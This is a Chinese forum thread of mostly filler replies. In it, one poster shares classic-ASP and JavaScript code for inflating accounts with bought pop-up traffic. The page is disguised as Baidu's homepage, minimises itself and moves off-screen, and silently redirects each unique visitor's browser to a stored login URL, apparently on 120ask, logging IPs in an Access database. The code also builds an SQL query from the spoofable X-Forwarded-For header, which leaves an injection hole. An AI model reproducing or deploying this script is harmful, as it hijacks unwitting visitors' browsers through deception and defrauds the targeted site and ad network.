看看什么好东西
感谢分享 看看
嗯，来看看，支持下~
这是啥东东
很好的思路
晚上上来看下，还是有不少人回复的，不过编辑不了帖子了，这号在这里把流量刷账户的代码贴下，想用的可以看下：
<%'----12010.12月01日
'实现每一个弹出IP刷一个账号，默认用百度首页做隐藏
%>
<%
dim conn
dim dbpath
dim ip
dim url
dim urltime
dbpath=server.mappath("data.mdb")
set conn=server.createobject("adodb.connection")
'conn.open "Driver={Microsoft Access Driver (*.mdb)};dbq="&dbpath
conn.open "Provider=Microsoft.Jet.Oledb.4.0;Data Source="&dbpath
sub CloseConn()
conn.close
set conn=nothing
end sub
ip=getip()
'---------------------------------------------下面是测试的时候的输出函数，正式的时候不需要
'set rs=server.createobject("adodb.recordset")
'sql="select * from content"
'rs.open sql,conn,1,1
'dim n,t
't=rs.Fields.count - 1
'response.write "<table border=1>"
'dim value
'do while not rs.eof
'response.write "<tr>"
'for n=0 to t
' if isnull(rs(n)) or rs(n)="" then value=" " else value=cstr(rs(n))
' response.write "<td>"+value+"</td>"
' next
' response.write "</tr>"
' rs.movenext
'loop
'response.write "</table>"
'rs.close
'set rs=nothing
'CloseConn()
'----------------------------------------------下面是正式测试IP是否重复，不重复转到120ask登陆并记录IP，重复的话无动作
set rs=server.createobject("adodb.recordset")
sql="select * from content where ip='"&ip&"'"
rs.open sql,conn,1,1
if rs.eof then
set rs1=server.createobject("adodb.recordset")
'response.write "没有找到相关IP记录,已经进行了IP记录，更新了IP"&"<br />"
sql="select * from content where isshua=false"
rs1.open sql,conn,1,3
if rs1.eof then '如果所有记录都为真，证明登陆完成
'response.write "已经完成了所有URL的登录工作" & "<br />"
rs1.close
set rs1=nothing
rs.close
set rs=nothing
closeConn()
response.redirect "done.html" '跳转到完成页面，可以自动捕获完成动作并停止流量弹出
end if
urltime=0.1
url=rs1("url")
response.write rs1("id") & "Debug.print" & url
rs1("ip")=ip
rs1("isshua")="true"
rs1("riqi")=date()
rs1.update
rs1.close
set rs1=nothing
'response.redirect url 改成HTML跳转，要不不最小化，直接跳转了
else
'response.write "相关IP记录为"&ip&"<br />"
urltime = 10000 '设置这么大的值，用来停在当前页面不跳转，一般弹窗联盟自己都会检查IP的，24小时至允许1个IP弹出
url=""'你要跳转的网址
end if
rs.close
set rs=nothing
CloseConn()
%>
<%
Private Function getIP()
Dim strIPAddr
If Request.ServerVariables("HTTP_X_FORWARDED_FOR") = "" OR InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), "unknown") > 0 Then
strIPAddr = Request.ServerVariables("REMOTE_ADDR")
ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",") > 0 Then
strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ",")-1)
ElseIf InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";") > 0 Then
strIPAddr = Mid(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), 1, InStr(Request.ServerVariables("HTTP_X_FORWARDED_FOR"), ";")-1)
Else
strIPAddr = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
End If
getIP = Trim(Mid(strIPAddr, 1, 30))
End Function
%>
<html>
<head>
<meta http-equiv="refresh" content="<%=urltime%>;url=<%=url%>">
<title>百度一下，你就知道 </title>
<script language="javascript">
//编写 2008-10-01
function resumeWindow()
{
moveTo(50000, 50000);
resizeTo(screen.availWidth, screen.availHeight);
}
resizeTo(0,0); //自动最小化
moveTo(screen.availWidth,screen.availHeight);
setTimeout(resumeWindow,1000*15); //15秒后自动还原,自动网址跳转的时间小于15秒的，所以不会自动最大化
</script>
</head>
<body>
<iframe src="http://www.baidu.com" width="100%" height="100%" frameborder="0"></iframe>
</body>
<html>
不知道还能做多久
还是执行力的问题啊
看看什么好东西
不错 想看看。。
看看什么好东西
个看下内容啦
看文笔，好像就是混子写的？
狂顶一下:D:D
我也学习一下
哇，还带工具那？
瞧瞧呀~~~~~
好东西要看看..